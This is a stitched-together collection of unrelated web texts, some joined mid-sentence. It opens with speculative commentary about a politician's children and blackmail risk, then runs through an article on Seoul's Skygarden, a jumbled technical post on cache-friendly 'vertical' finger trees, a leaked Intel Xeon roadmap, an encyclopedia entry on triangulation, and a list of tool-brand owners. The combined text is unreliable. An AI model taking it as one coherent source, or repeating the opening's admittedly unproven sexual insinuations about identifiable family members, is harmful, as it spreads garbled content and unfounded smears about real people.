If the daughter got pregnant by Sarah’s older son, the son could go to prison, he would be dishonorably discharged, and Sarah’s political career would probably be over. This also happens more commonly than most believe, but I consider it less likely.
It is with great reluctance that I write this. But the possible problems are nothing less than compromise of the presidency through blackmail by a foreign power, and that requires us to invert the normal standards which would require extraordinary proof before breathing a word of such possibilities.
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This has the appearance of a textbook example of the kind of personal problem that agents look for to force someone to be a traitor to their country. The keys to the kingdom of compromise are sex, drugs, and financial problems. The Kremlin and the gentlemen in Beijing would like nothing quite so much as to have a lever worth hundreds of billions of dollars in armaments. For that matter, so would Iran’s Pasdaran, a secret service which is quite capable for such a small nation, and worth being concerned about.
Next Page 1 | 2Stop me if you’ve heard this before. The ambitious mayor of a big city backs a project to put a garden on a bridge. A celebrated designer is appointed and seductive images released. It gets compared to the High Line in New York – that urban phenomenon envied as much by rival cities as the Eiffel Tower once was. It provokes controversy.
This much the Skygarden in Seoul has in common with the Garden Bridge in London, but then their stories diverge. Where the London version has foundered, the Korean one will be opened this Saturday by mayor Park Won-soon, a former activist who built his career on opposing both corruption and the conservative establishment, and supporting human rights.
Given the recent turmoil in South Korean politics, in which the former president has been deposed, imprisoned and is awaiting trial on corruption charges, the Skygarden will likely to be a symbol of the alternatives offered by the new president Moon Jae-in, and his ally mayor Park.
There are significant differences in the conception and execution of the two projects. They vary in cost (about £40m for the Skygarden and £200m-plus for the Garden Bridge) and, where the London project has spent many years not happening, the Seoul one has taken two years to take shape since its Dutch architects, MVRDV, were appointed in 2015.
Where the Garden Bridge would have been a cherry on the already rich cake that is the centre of London, the Skygarden aims to regenerate and connect places near the main railway station that have been fragmented by roads and railway tracks. The Skygarden, which will be open to all 24 hours a day, re-uses an existing structure – like the High Line – in the form of a 1970 motorway flyover that was no longer deemed safe for its original purpose.
It is also part of a bigger set of ideas about taking a big, dense – sometimes ugly – city, one which was created without a great deal of concern for public space and pedestrian movement, and giving it qualities of walkability, neighbourliness, human scale and shared enjoyment of its places. To this end, the mayor has encouraged a range of public works and created the post of city architect to help make them happen.
The Skygarden is one of the more eye-catching examples of several initiatives promoted by the first holder of this job, Seung H-Sang, and his successor and ally Young Joon Kim.
Facebook Twitter Pinterest Seung H-Sang, Seoul’s first city architect. Photograph: Kim Dong Yul
Seoul resembles other cities of east Asia such as Tokyo and Shanghai in its scale and rapid postwar expansion, while major western cities such as New York and London also experience comparable pressures of growth. If Seoul gets its programme right, it can set examples for other megacities to learn from. An inaugural Biennale of Architecture and Urbanism will be held this autumn to help get the message across.
South Korea’s capital is an ancient city, with a beautiful natural backdrop of mountains, that was devastated in the 20th century by Japanese occupation and the Korean War. It was reconstructed on American-inspired lines, with multilane highways criss-crossing the city. Economic and population growth – it has about 10 million people compared with 1 million in 1950, although the increase has now levelled off – caused the spaces between to be filled in at levels of density that are nearly twice New York’s.
It is a business-minded city, its desire for prosperity being sharpened by the traumas and poverty of its recent history, and the need to erect office blocks to serve its economy has usually taken precedence over architectural and urban finesse. The lower levels of buildings tend to be intensely colonised by commercial activity.
At the same time, portions of historic fabric remain – such as the gardens of shrines and palaces and areas of hanoks, traditional houses often built around courtyards. In the crevices and spare spaces of what is a patchwork city, and one whose general shape was not precisely intended by anyone, the current generation of lively and enterprising Korean architects have inserted distinctive individual works. What it hasn’t had so much are the sort of interventions in public spaces that a European city like Barcelona has been implementing since the 1980s, or which New York has been pursuing for most of this century.
Seoul’s fabric partly reflects the distribution of power in South Korea, where huge conglomerates, or chaebols, tend to take precedence over government. Institutions that in other countries might be provided by the state – art galleries, libraries – are often created by the likes of Samsung and Hyundai. This phenomenon can create some useful and fine buildings, but they often come with strings attached. A vinyl record library, for example, which is a good-looking building paid for by Hyundai Card, comes with special privileges and incentives for card holders. Another shiny and elegant building, which looks like a contemporary art museum, turns out to be a somewhat preposterous shrine to the Hyundai credit card, where you can see the precious objects being made and exhibits on their history.
The mayor’s works programme aims to redress the balance. His successive chief architects have aimed to make the city more pedestrian-friendly and where possible to adapt the existing fabric rather than erase it in favour of grand new structures. “Revitalisation” rather than “reconstruction” is how Seung H-sang puts it. The city government is also considering the introduction of a congestion charge for the historic centre of the city.
Facebook Twitter Pinterest The Skygarden isn’t the first project designed to revive Seoul; the Cheonggyecheon stream was opened in 2005. Photograph: Jack Malipan Travel Photography/Alamy
Other projects have included the renovation of Seunsangga (currently under way), a 1km-long 1960s shopping megastructure that became a centre of electronics businesses, built on land that had been cleared as a wartime firebreak. Most cities would have seen at as an eyesore, worn out and in need of total replacement, but Seung recognised that it was now part of the life and tissue of the city. The aim now is to encourage businesses of the fourth industrial revolution – robotics, 3D printing and so on – to move there.
Seung also launched what he calls “the most important project in Seoul”, which is the conversion of 424 redundant local administrative offices into neighbourhood uses such as libraries, small theatres, concert halls and cafes. The budgets are small, requiring maximum invention from the usually young architects hired to work on them.
The Skygarden – or Seoul-lo 7017 as it is also called in reference to the dates of the original structure, and of its reincarnation – is both a symbol and an instrument of the shift from car to foot. The original concrete structure has been strengthened, and lifts, stairs and escalators have been added where necessary to connect it to the ground. Bridges also connect to adjoining commercial buildings, who have to pay for the uplift in value. Other uses – cafes, performance spaces, a market – are scattered across the site.
Facebook Twitter Pinterest The Skygarden lit up at night on opening day. Photograph: Ossip van Duivenbode
The old bridge and its surroundings are then brought to life by what Winy Maas of MVRDV calls a “library” of 24,000 plants, all indigenous species arranged according to the Korean alphabet. The types of plant then prompt arrangements and uses: pines suggest a forest, and jasmine “has a very obvious relationship to tea gardens”. Ginkos are “hyper bisexual” and arranged in a way that somehow reflects their orientation. Roses “turn out to be very theatrical”, so a theatre is placed among them. When the plants get too big they can be sold and replaced – and Maas says that in this way the library is also a “nursery”.
The hard engineering, which he calls “brutal but also nice” is kept grey and neutral “in order to celebrate the richness of the plants”. “Fog machines” and shade will keep people cool in the hot summers.
Maas says that the garden will be “human and friendly and green” in ways that might be thought typical of European city planning, but will also have a “science fiction element” that he sees as more Asian. “In Asia they want to dip their cities in this super-green feeling that comes from science fiction, from movies like Avatar,” he says, citing Singapore’s spectacular Gardens by the Bay. His designs bring out the intense colour contrasts of different species, and the Skygarden will be bathed at night in a rich, artificial blue light. It doesn’t look – and it doesn’t want to be – perfectly natural.
Young Joon Kim, the current city architect who also worked as the coordinator of the Skygarden project, says that he is “very happy”. He acknowledges that not everyone is pleased about handing over road infrastructure to pedestrians – drivers of cars and commercial vehicles, for example – but says that “when you look at things over a longer period it’s clear that citizens have to have car-free zones. It’s not a kind of taste, it’s the way to go, like many other cities.” He acknowledges that some people think that the garden is “too artificial”, but “you cannot copy the natural landscape”, he says.
Story of cities #50: the reclaimed stream bringing life to the heart of Seoul Read more
Young Joon Kim is also delighted with the change of president, not least |
non-overflowing value or the first 0). There is an x86 CPU instruction for this, CLZ. Many compilers and CPUs have optimizations for this and
intrinsics
. This is fast. We'll see below why knowing how many finger levels will overflow is important.
Parallel Rebalancing
Maintaining the bitmask structure is also surprisingly independent of the data we're generating. We first add slop values at the root, and only push them downwards if they overflow. We already know how long the chain of overflows will be, so we can mask all of the slop values that had overflowed to 0, and need only to check if the non-overflow case will yield a slop value or not.
Split
Memory Management
Summary
Now that all structural changes have been described, I thought that diagrams might be useful.
with:
The tree above has the first three levels as nodes with more than a single element, and the fourth level has a single element (overflowed to left "slop" slot). The bitmask shows that the right slop array is empty and the left one has an element in index 1 and 4. An empty slop array is written here as an allocated zero bitmask, but the root reference to it will just be null in real life. There's no need to allocate a 1-byte array to hold a null.
FullNode at depth 1 has child elements that contain the datatype that the tree holds.
Implementation:
A finger tree is an elegant persistent data structure which supports O(1) insertion and O(log(n)) query operations for sequence-like data structures. By using the structure with different annotations, one can represent random access, priority queues, interval trees, and key/value stores in finger trees. While finger trees aren't always the fastest way to build any of these structures, their versatility makes them indispensable.Finger trees unfortunately have access patterns that modern hardware does a poor job of optimizing. It has a lot of tiny segments of memory, containing many pointers. Pointer chasing throughout the structure can cause terrible cache behavior. I am going to use tools from succinct and cache-oblivious algorithms to create a finger tree variant with better performance on modern hardware. I've termed my variant a "vertical" finger tree to in contrast to the current "horizontal" finger tree storage style.Accessing the leftmost and rightmost leaf elements of a conventional tree will take O(log(n)) time. Looking at the first diagram below, we can see that this is the case. If you access the elements at the ends very frequently, this can become unacceptable. This is one reason why stacks, queues, and ordered sequences are very rarely represented by trees.What if we took this tree, and yanked the ends upwards so that the root of the tree can reference the subtrees at either end in O(1) time? We can do this for the siblings of the subtrees as well.What you get is a linked list of finger tree "levels," each one referring to a tree of fixed depth. As you move down the tree the depth of the tree increases by 1. At the bottom, we have an empty tree. This empty node is what our tree root used to be. In this way we turn our tree "inside out."This has some surprising power. The increasing depth allows the rebalancing to be amortized, with the rebalancing charged to the insertions. In the end, appending to either end of the tree is O(1) amortized.Finger trees also store annotations throughout the tree. There is an interface in functional programming called the "monoid" interface. Annotations are monoids. A monoid can be thought of as a class of entities that have an associative binary operation that combines them, and an identity element for this operation. Finger tree annotations are not simply monoids, they must be monotonically increasing. If I combine two annotations, the result must be at least as large as both arguments, if not larger.An example is the integers, with 0 as the identity and + as the operation. Another example is lists, with the empty list as the identity and list appending as the operation. When a node is made that refers to subtrees, it's annotation is the accumulation of all of the subtree annotations with the monoidal operation. Finger tree levels store the accumulation of all lower levels. Since these are made at node creation time, maintaining annotations adds a constant overhead to the O(1) node-creation operation.Finger trees expose an operation, called split, that is the source of their power. Split takes a predicate and find the smallest prefix of the sequence in the finger tree whose annotation sum makes the predicate true. This is a unique point because the sum will be monotonically increasing.Split will start at the head of the finger level list. It will check if the left affix's sum is large enough to make the predicate true. If so, it will enter the affix and find out which subtree causes the change and recurse. This is O(log(| size of affix |)). If the left affix isn't sufficient, it can add the left affix's sum to the accumulated sum to find out if the predicate change happens in a lower level. If it doesn't we can skip right to the right affix. This takes worst-case O(log(n)) time; see the structure's paper for the proof.This is the trick that takes finger trees from "that's interesting" to "this is the building block I'll use for all sequences from here on out." Haskell actually uses finger trees for their sequence data structure, the workhorse of the language. If we make the annotation the size of the subtree, we get a random access structure. If we make the annotation the largest element in the subtree we get a priority queue. The paper also describes ordered sequences and interval trees. In short, finger trees can represent many data structures. Most interestingly, one can pick an annotation that embeds multiple annotations to have a structure that can behave like multiple abstract data types.For those looking to understand the conventional finger tree structure better, the paper which presents the structure isI've found that http://andrew.gibiansky.com/blog/haskell/finger-trees/ is the most approachable introduction to the structure. That post is the source of the above diagrams.I believe that the most important change to make is to decouple the fingers of the finger tree. One will tend to access only one side of the tree much more than they will access both (appending to a singleton is the only real exception), so it makes sense to represent a finger tree as two arrays of references to affixes. The left affixes have their references stored in one array, while the right affixes are in another array. I'll refer to these as the finger tree's vertical spines.A conventional finger tree's "finger-level" storage is an incredibly cache-unfriendly. It contains many references that must be chased. Consider the important task of traversing the tree from left to right. One will visit each of the left affixes in essentially a linear scan down the left affix of the finger levels, and then travel back up the right affixes. Moving from one affix to the next takes two pointer dereferences to segments of memory allocated at different times, and possibly very far apart.Furthermore, I believe that the layout of fingers assumes unrealistically large structures. If most appends don't overflow, then it becomes unlikely that an append would require updating more than one finger. This is a good justification for the current storage, where each level refers to the next element. But is avoiding having to "invalidate" persistent substructures by fixing pointers worth the overhead?How deep would the tree have to be for this to be worthwhile? How deep is a finger tree likely to become?We know that each level's affix holds references of an increasing depth, and that each finger level's affixes can hold 8 elements (a 4-affix on each side). So the number of elements a tree of depth N can hold is equal to the sum of i from 0 to N of (8 * (3 ** i)).For a tree to require 5 levels, it would have to hold 2,912 elements. For a tree to require 8 levels, it would have to have 78,728 items. Since recreating a finger would require allocating at least 3 words of memory, we get the entire spine with a minimal overhead.At some point it makes sense to break the spines up into arraylets, but the gains that we get from cache friendliness should swamp the cost of a bit more memory pressure. Is this safe? Could we end up with too many references? What's the largest depth on a 64-bit machine?If the sum from 0 to N of (8 * (3 ** i)) is equal to 2 ** 64 then N = 38.118.This means that for a finger tree to hold a reference to every single address of memory on a 64-bit system with full buss saturation (1.8 x 10 ** 19 bytes of memory), it would only need spines of length 39. This is an acceptable overhead.Finger trees also exhibit a pathology with respect to memory management. Persistent data structures get their power from the de-duplication of substructures between versions. Finger trees discard affix levels in a very wasteful way, freeing a structure that it must remake upon the next insertion. When inserting into a finger tree, the top level of prefixes and affixes are entirely thrown away. While this is a minor waste, as the trees are small, it's something that happens very frequently.It becomes an even uglier waste when one considers the steps that occur when one inserts into an affix that contains three items. We discard the affix's top node that contains three elements to create one with four elements. The next time that we insert, we need to create a 3-element node to push down to the next level along with the 2-element node to make the current level's affix reference point to. But this 3-element node would contain the values that we just freed. This is absurd! We create, free, and recreate every single branch that makes it past the first level. This taxes the allocator much more than is necessary.A minor optimization here that prevents a lot of this waste is to not free this 3-element node. Since every single node besides the ones directly referred to by the finger tree levels will contain 3 elements, when we want a 4-element affix, we should simply store the fourth element in the finger level and not change the 3-branch. I'll refer to this separately-stored overflow value as the "slop" value.We must deal with the degenerate case of the single-element finger level. We will store this single value in the left overflow slot for that finger level.Since we no longer have a finger "level" as a result of putting the affixes in spines, we will have to store these overflows in their own spines. We'll refer to these as "slop" spines. We will be able to use a space-saving optimization taken from hash array mapped tries (abbreviated HAMTs), which will be described in the next section.This doesn't complicate the rebalancing any. In fact, it allows for a cache-oblivious rebalancing that requires much less pointer chasing, as the rebalancing section will describe.Many of the fingers will not have overflows. In fact in a finger tree made from concatenation will only have overflows at the bottom (see "nodes" function from the reference article above to see why). Since having many frequently-changing, mostly-empty arrays can lead toof bloat in a purely functional persistent structure, I chose to use the popcount-based array compression technique.A slop spine will contain at most 32 elements. If the spine exceeds this (In short, this is a worthwhile optimization.Conventional finger tree rebalancing is a process with very many sequential dependencies. A tree is checked and is found to have four items, two new trees are made (the one for the current level and the one for the next), the next level is appended to (possibly overflowing and repeating this), and then thefuture version of the current level can be returned with all of the references set. On actual hardware, this runs into a more fundamental problem than poor cache behavior.Computers have largely gotten faster due to more and more Instruction Level Parallelism on modern CPUs. Instructions that do not alter the same memory locations or registers will be run at the same time, since logically they can commute without altering program execution. When you have a long sequence of instructions in which the product of one instruction is necessary for the next, such as the one outlined above, the pipeline of instructions executing at any one time will come to a screeching halt. You'll have many CPU cycles in which large portions of your possible resources have to sit unused.Restructuring an algorithm into one in which logical anti-dependencies do not have incidental data dependencies can lead to massive performance gains. Furthermore, if one wants to makes sure that their parallelism is exploited and they know that operations will be identical across their data, they can turn to the Single Instruction Multiple Data operations that are present on modern CPUs. SIMD operations save the CPU from messy heuristics, and even free up registers for other instructions to use (SIMD instructions use a different set of registers).If you have a chain of rebalancing that needs to be done, only the non-overflowing case will require different logic from the others. Logically what happens in the new array layout is that the value at finger level N and the slop value from finger level N+1 are made into a new 2-branch at level N+1. The top level contains the top slop and the newly-inserted value.Since a chain of overflows requires a sequential list of slop values, we can simply use parallel arrays with an i+1 indexing the slop array and an i for the old-affix array to create the new 2-branches. These addresses can then be copied into the relevant fields of the new version of the relevant affix spine. We can do all of these operations with the commonly available x86 SIMD instructions. Since spines should be relatively small, all of the rebalancing will likely take a single SIMD loop followed by the non-overflow case and the structure finalization.Since we need to compute the annotations for all of these new nodes referred to by affixes, and since this annotation must be a monoid and thus only dependent upon the annotations of values in the node, we can compute all of these in SIMD parallel as well.We see that we've opened ourselves up to a world of compiler and CPU optimization. We've gone from a sequential tree modification algorithm to a highly parallel array processing one with explicit anti-dependence between steps.Split works by moving through the finger levels and chasing the either left affix, the next finger level, or the right affix based on which has the value that causes the predicate to go from True to False. It has a really clever micro-optimization to keep access O(1). Each finger level stores the cumulative measure from the bottom. This lets us know that if the prefix's measure and the next level's measure combine to a value that does not cause the predicate to become true, then the value is in the right affixTherefore conventional finger trees descend only the strictly necessary number of levels when traversing. The current algorithm has some problems for us though.Firstly, the conventional algorithm has been broken by the fact that we use a slop slot rather than chasing the annotation in the affix. Since this value comes on the left though, we can simply perform another comparison and treat this as a constant overhead per level. It's not free, but it's cheap since the finger spine is relatively small compared to trees at the lower levels. We'll focus on making those cheaper.Once we've found the finger level and affix that has the split point, we need to traverse our 3-level tree to find the point. This is where we start jumping around the cache unwisely. Conventional finger trees fetch the node and then decides if the measure change happens there. That is, the finger tree pays the cost of a cache access before knowing whether it needed the data at all. We make the observation that in a given finger tree there will only be one reference to a 3-branch at a given time. While a persistent data structure may have many, many versions referring to the same 3-branch, this is not the common case.We will store the measure of a branch3 alongside it's reference. With the restriction that a measure be a word, this should be able to fit in a doubleword. We've suddenly added a factor of two to our 3-branch node sizes and our affix array sizes (although each 3-branch now doesn't have to store it's own measure), but have gained the ability to only chase the pointers that we need to.Manual memory management for purely functional structures can be very taxing and inefficient because of the access patterns for persistent structures. Some substructures will have an incredibly large number of incoming references and others will live for an incredibly short time period. Finger trees are constantly criticized for having unintuitive memory management patterns and requiring a tracing garbage collector. We'll address the issues, but first let's introduce some terminology and properties.We'll refer to a block of memory allocated at once as an "allocation cell". Memory management tends to involve either having reference counting, a tracing collection system, or a system that manages lifetime semantics explicitly. The latter is error-prone, being the cause of most catastrophic software failures in the last few decades. It can also lead to an unacceptable amount of explicit bookkeeping. Tracing and reference counting, both known as "garbage collection" systems, are our best bets here.Tracing consists of finding all of the live "root references," in this case the live references to versions of our finger tree, and marking the transitive closure of those roots as alive. Objects not marked as alive can then be freed. In practice, most systems will use this memory to satisfy the next allocation, rather than free it. When allocations are different sizes, there is a problem of fragmentation. Most collectors get around this by moving objects and fixing references. This has the problem of having a lot of memory traffic, essentially busting the cache. If a finger tree operation required a moving collection, every single one of it's old in-structure cache lines are suddenly useless. These immutable objects have to be re-fetched from memory, which can be pretty wasteful.Reference counting consists of having each allocation store the number of incoming references, and modifying the structure to account for these changes. The cost of storing the reference count can be done with a single unsigned word-sized integer. If it couldn't then the number of live objects would have to extend the reachability of a pointer. If there is a reference cycle, that is if there is a cycle in the object graph, then reference counting cannot free the memory. This is reference counting's big failure state, along with heavily-mutated objects. But finger trees don't actually have this problem. As our allocations are immutable, it is impossible to create a reference cycle. They form a logical vector clock as a reference must come from an earlier allocation, and so references have a total ordering.Reference counting is desirable because it is prompt. If a very large structure becomes garbage, the system's memory usage will not go down until the tracing collector has run and freed the memory. In a system where memory is re-used rather than freed and objects are not moved, a worst-case scenario could prevent the memory usage of the application from ever going down. This is barely acceptable for a language's garbage collector, it is not acceptable for a lightweight data structure library.Memory management can be done by using any off-the-shelf reference counting system. An important property to prevent heavy modification of reference counts is to only hand out references to the root of the structure. The allocations done by the data structure will only have references inside the structure, keeping the amount of modification that must be done to a minimum. My reference implementation will use C++'s shared_ptr.You can follow my work implementing this structure here: https://github.com/alexanderkyte/VerticalFingerTree Actual benchmarks are forthcoming. I intend to use http://www.simplescalar.com/ as it has a history of use in analyzing cache-oblivious algorithms.Ready for another leaked slide deck detailing unannounced products? EXPreview has posted official-looking documents spelling out Intel's plans for Xeon processors based on its upcoming Skylake architecture. The chips aren't due until 2017, according to the leak, and there appears to be quite a lot of goodness in store.
The new Xeons will purportedly be part of a Purley platform that's billed as the "biggest platform advancement since Nehalem." According to the slides, they will have up to 28 cores with Hyper-Threading support—an increase from the 22-24 cores expected in comparable Xeons based on Broadwell. They'll also feature new AVX-512 instructions. Thermal envelopes will reportedly span 45-165W.
On the memory front, the leak shows six channels of DDR4. One of the slides also mentions an "all new memory architecture" that possibly refers to the NVDIMM standard announced yesterday. NVDIMMs allow non-volatile storage to intermingle with system memory using the same slots, either as a backup for volatile DRAM or as SSD-like storage.
If EXPreview's information is accurate, Skylake Xeons will have up to 48 PCIe Gen3 lanes built in. Intel's Omni-Path Fabric is apparently part of the platform, along with quad 10-Gigabit Ethernet controllers. One of the slides also lists "optional integrated accelerators" that can assist with encryption, compression, media transcoding, and potentially other tasks.
Although the details in the slides aren't confirmed, they do look plausible given Intel's current trajectory. I'd also expect the company to roll out a Skylake version of its lower-power Xeon D processor, which is the company's first server chip to adopt Broadwell guts.Triangulation is a manipulation tactic where one person will not communicate directly with another person, instead using a third person to relay communication to the second, thus forming a triangle. It also refers to a form of splitting in which one person manipulates a relationship between two parties by controlling communication between them.
Triangulation may manifest itself as a manipulative device to engineer rivalry between two people, known as divide and conquer[1] or playing one (person) against another.[2]
Child development [ edit ]
In the field of psychology, triangulations are necessary steps in the child's development when a two-party relationship is opened up by a third party into a new form of relationship. So the child gains new mental abilities. The concept was introduced in 1971, by the Swiss psychiatrist Dr. Ernest L. Abelin, especially as 'early triangulation', to describe the transitions in psychoanalytic object relations theory and parent-child relationship in the age of 18 months. In this presentation, the mother is the early caregiver with a nearly "symbiotic" relationship to the child, and the father lures the child away to the outside world, resulting in the father being the third party.[3] Abelin later developed an 'organizer- and triangulation-model',[4] in which he based the whole human mental and psychic development on several steps of triangulation.
Some earlier related work, published in a 1951 paper, had been done by the German psychoanalyst Hans Loewald in the area of pre-Oedipal behavior and dynamics.[5] In a 1978 paper, the child psychoanalyst Dr. Selma Kramer wrote that Loewald postulated the role of the father as a positive supporting force for the pre-Oedipal child against the threat of reengulfment by the mother which leads to an early identification with the father, preceding that of the classical Oedipus complex.[6] This was also related to the work in Separation-Individuation theory of child development by the psychoanalyst Margaret Mahler.[6][7][8]
Narcissism [ edit ]
In the context of narcissism, triangulation is when the narcissist attempts to control the flow, interpretation, and nuances of communication between two separate actors or groups of actors. Ensuring communications flow through, and constantly relate back to the narcissist provides a feeling of importance. Common scenarios include a parent attempting to control communication between two children, or an emotionally abusive partner attempting to control communication between the other partner and the other partner's friends and family. A narcissistic person wants to ensure the other actors communicate through them but remain otherwise isolated. In some cases narcissists will use control of communication to drive a wedge between the other parties. This can be done by falsely making one of the actors or groups of actors into a scapegoat for problems that the narcissist is actually responsible for or that are otherwise unrelated. In addition the narcissist may falsely credit the other actor with saying or thinking something hurtful, or may put too much emphasis on an aspect of something that was said to them that ignores the wider context.[9]
Alternatively, the narcissist may attempt to use triangulation to put a third actor between them and someone with whom they are commonly in conflict. Rather than communicating directly with the actor with whom they are in conflict, the narcissist will send communication supporting his or her case through a third actor in an attempt to make the communication more credible.[10]
Family [ edit ]
In family therapy, the term triangulation is most closely associated with the work of Murray Bowen. Bowen theorized that a two-person emotional system is unstable, in that under stress it forms itself into a three-person system or triangle.[11]
In the family triangulation system the third person can either be used as a substitute for the direct communication, or can be used as a messenger to carry the communication to the main party. Usually this communication is an expressed dissatisfaction with the main party. For example, in a dysfunctional family in which there is alcoholism present, the non-drinking parent will go to a child and express dissatisfaction with the drinking parent. This includes the child in the discussion of how to solve the problem of the alcoholic parent. Sometimes the child can engage in the relationship with the parent, filling the role of the third party, and thereby being "triangulated" into the relationship. Alternatively, the child may then go to the alcoholic parent, relaying what they were told. In instances when this occurs, the child may be forced into a role of a "surrogate spouse" The reason that this occurs is that both parties are dysfunctional. Rather than communicating directly with each other, they utilize a third party. Sometimes this is because it is unsafe to go directly to the person and discuss the concerns, particularly if they are alcoholic and/or abusive.
In a triangular family relationship, the two who have aligned risk forming an enmeshed relationship.[12]
The Perverse Triangle [ edit ]
The Perverse Triangle was first described in 1977 by Jay Haley[13] as a triangle where two people who are on different hierarchical or generational levels form a coalition against a third person (e.g., "a covert alliance between a parent and a child, who band together to undermine the other parent's power and authority".[14]) The perverse triangle concept has been widely discussed in professional literature.[15][16][17][18][19][20][21] Bowen called it the pathological triangle,[20] while Minuchin called it the rigid triangle.[22]
Cross-generational coalition [ edit ]
For example, a parent and child can align against the other parent but not admit to it, to form a cross-generational coalition.[23] These are harmful to children.[15][19][24]
See also [ edit ]
References [ edit ]
Further reading [ edit ]If you buy something through our links, ToolGuyd might earn an affiliate commission.
Many popular tool brands have made big names for themselves, but are actually part of larger corporate families. Complicating things further, brands can change hands during acquisitions, mergers, and spin-offs.
To help you sort things out, we put together the following guide, identifying the most popular tool brands and the companies that own or are affiliated with them.
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Please note that these are not full lists of brands each parent company owns. This list highlights construction, industrial, DIY, and other tool-related brands, with the focus mainly on hand and power tool brands.
This guide discusses the following parent companies: Stanley Black & Decker, Tectronic Industries (TTI), Bosch, Fortive, Apex Tool Group, TTS Tooltechnic Sytsems, KKR, Chervon, Emerson, Werner, Illinois Tool Works (ITW), JPW, Snap-on, Ideal, Newell Rubbermaid, Delta PEC, Kyocera, and Positec.
This information was updated and republished on February 24th, 2019. Although infrequent, brand ownership can change. Please let us know if you discover an inaccuracy in this listing.
Table of Contents
Stanley Black & Decker (including Dewalt, Craftsman, Irwin)
TTI/Tectronic Industries (including Milwaukee, Ryobi, Empire Level, Ridgid Power Tools)
Bosch (including Bosch, Freud, Dremel)
Fortive (including Fluke, Matco)
Apex Tool Group (including Crescent, Gearwrench, Wiss)
Festool Group (TTS Tooltechnic Systems, including Festool, SawStop)
KKR (including Metabo, Metabo HPT)
Chervon (including EGO, Skilsaw)
Emerson
Werner
ITW (including Paslode, Tapcon)
JPW Industries (including Jet, Wilton, Powermatic)
Snap-on
Ideal Industries
Newell Rubbermaid
Delta Power Equipment
Kyocera (Senco)
Positec
Stanley Black & Decker
Headquarters: New Britain, CT, USA
Construction and DIY (CDIY)
Black & Decker
Bostitch
Dewalt
Porter Cable
Stanley
Irwin (Acquired in 2017)
Lenox (Acquired in 2017)
Craftsman (Acquired in 2017)
Hilmor (Acquired in 2017)
Industrial
Blackhawk (Proto)
Bost
Britool
Facom
Lista
Mac Tools
Pastorino
Powers
Proto
Sidchrome
USAG
Vidmar
More Info (via Stanley Black & Decker)
Irwin Tool Brands (Sold to Stanley Black & Decker in 2017)
Irwin
Hanson
Marathon
Marples
Quick-Grip
Record (vises)
Speedbor
Strait-Line
Vise-Grip
Unibit
More Info (via Irwin)
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Techtronic Industries (TTI)
Headquarters: Hong Kong, China
Power and Hand Tool Brands
AEG
Empire Level (owned by Milwaukee Tool, as of mid-2014)
Hart
Imperial Blades (acquired by Milwaukee Tool in 2018)
Milwaukee Tool
Ryobi
Stiletto (owned by Milwaukee Tool, as of 2007)
Milwaukee Tool is headquartered in Brookfield, Wisconsin.
TTI owns the Ryobi power tools and accessories division in the USA, North America, the UK, Europe, Australia, and New Zealand, but Ryobi is also an independent company with separate product lines in some other parts of the world.
TTI also develops and produces Ridgid power tools, under a licensing agreement with Emerson. This arrangement began back in 2003 (press release, PDF).
Home Appliance Brands
Dirt Devil
Homelite
Hoover
Vax
More Info (via TTI)
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Robert Bosch GmbH
Headquarters: Stuttgart, Germany
Power Tools and Accessories
Bosch
CST/berger
Dremel
Freud (and Diablo)*
RotoZip
Skil Sold to Chervon
Sold to Chervon Vermont American
*Bosch purchased Freud’s power tool accessories segment in December 2008, namely their saw blades, router bits, and cutters division.
Automotive Tools and Equipment
Accu-turn
Actron
Beissbarth
OTC
Robinair
Sia Abrasives
Sunpro
Gardening Tools
Gilmour Sold to Fiskars
Sold to Fiskars Nelson Sold to Fiskars
More Info (PDF via Bosch North America 2013 Publication)
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Fortive (Formerly Danaher)
Headquarters: Washington, D.C., USA
Matco
Test & Measurement
Amprobe
Fluke
Keithley
Pomona Electronics
Tektronix
Fortive was spun off from Danaher in mid-2016.
More Info (via Fortive)
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Apex Tool Group
Headquarters: Sparks, MD, USA
(Apex Tool Group was a joint venture between Danaher and Cooper industries, and is presently owned by Bain Capital.)
Hand, Electrical, Industrial Tool Brands
In late 2017, many Apex Tool Group hand tool brands were rebranded as under the Crescent Tools brand.
(Apex Tool Group’s most popular and well-known brands are in bold.)
Airetool
Allen
Apex
Armstrong Read More about the closure
Read More about the closure Atkins
Belzer
Campbell
Cleco
Collins
Crescent
Delta (Truck Boxes)
Diamond
DGD
Doler
Dotco
Erem
Gearwrench
Geta
H.K. Porter
Iseli
Jacobs Chuck
Jobox
KD Tools
K&F
Lufkin
Master Power
Mayle
Metronix
Niagara Tools
Nicholson
Plumb
Quackenbush
Recoules
Sata
Spline Gauges
Utica
Weller
Wiss
Xcelite
More Info (via Apex Tool Group)
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TTS Tooltechnic Systems
Headquarters: Wendlingen, Germany
Festool
Tanos (Systainers)
Cleantec
Microcell
Narex
SawStop
Shaper Tools
Schneider Airsystems
SawStop was acquired by TTS Tooltechnic Systems in 2017.
Shaper Tools, a handheld CNC Router technology company, was acquired in 2019.
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KKR
Headquarters: New York, NY, USA
Metabo HPT/HiKoki – formerly known as Hitachi Power Tools
Metabo
KKR acquisition of Hitachi Power Tools and Metabo was announced in early 2017.
Hitachi Power Tools was rebranded to Metabo HPT (North America) and HiKoki (internationally).
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Chervon
Headquarters: China
EGO (outdoor power tools and equipment)
Devon
Flex
Skilsaw (acquired from Bosch in 2017)
Skil (acquired from Bosch in 2017)
X-Tron
Hammerhead
Calmdura
Chervon is also an OEM that produces cordless power tools for other brands, including private label brands such as Lowes’ Kobalt 24V Max brushless power tools line.
More Info (via Chervon)
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Emerson Tools
Headquarters: St. Louis, MO, USA
Greenlee – as of 2018
Klauke – as of 2018
Ridgid
ProTeam
Workshop
Emerson also manufactures wet/dry vacuums under Dirt Hound, and goClean brands.
Emerson acquired Greenlee from Textron in 2018, along with Klauke and Paladin (acquired by Greenlee in 2007).
Greenlee and Rothenberger engaged in a joint venture agreement for handling the North American market, lasting from 2004 thru 2015.
Ridgid power tools sold exclusively by Home Depot are developed, produced, and marketed by TTI. Ridgid hand tools and other plumbing and professional industry tools are not included in the arrangement.
More Info (via Emerson)
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Werner Co.
Headquarters: Greenville, PA, USA
Bailey
Green Bull
Keller
Knaack
Weather Guard
Werner
More Info (via Werner Co)
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Illinois Tool Works (ITW)
Headquarters: Glenview, IL, USA
Buildex
Duo-Fast
Kester
Hobart
Miller
Paslode
Racor
Ramset
Red Head
Tapcon
More Info (via ITW)
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JPW Industries/WHM Tool Group/Walter Meier Manufacturing
Headquarters: New York City, NY, USA
JPW Industries is currently owned by Gamut Capital Management, a private equity firm (as of July 2017)
JET Tools
Powermatic
Wilton
Other JPW Brands
Edwards Manufacturing
Promac
Tool Air
GYS
